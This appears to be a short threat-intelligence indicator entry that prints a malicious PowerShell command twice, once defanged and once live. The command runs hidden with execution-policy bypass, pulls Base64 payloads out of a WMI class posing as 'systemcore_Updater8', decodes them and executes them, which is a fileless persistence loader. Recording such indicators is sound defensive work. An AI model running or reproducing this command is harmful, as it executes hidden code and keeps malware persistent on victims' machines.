hxxp://-NoP -NonI -W Hidden -exec bypass "$am = ([WmiClass] 'root\default[:]systemcore_Updater8')[.]Properties['am'][.]Value;$deam=[System[.]Text[.]Encoding][::]ASCII[.]GetString([System[.]Convert][::]FromBase64String($am));iex $deam;$co = ([WmiClass] 'root\default[:]systemcore_Updater8')[.]Properties['enco'][.]Value;$deco=[System[.]Text[.]Encoding][::]Unicode[.]GetString([System[.]Convert][::]FromBase64String($co));iex $deco"

Sharing

Target

http://-NoP -NonI -W Hidden -exec bypass "$am = ([WmiClass] 'root\default:systemcore_Updater8').Properties['am'].Value;$deam=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($am));iex $deam;$co = ([WmiClass] 'root\default:systemcore_Updater8').Properties['enco'].Value;$deco=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($co));iex $deco"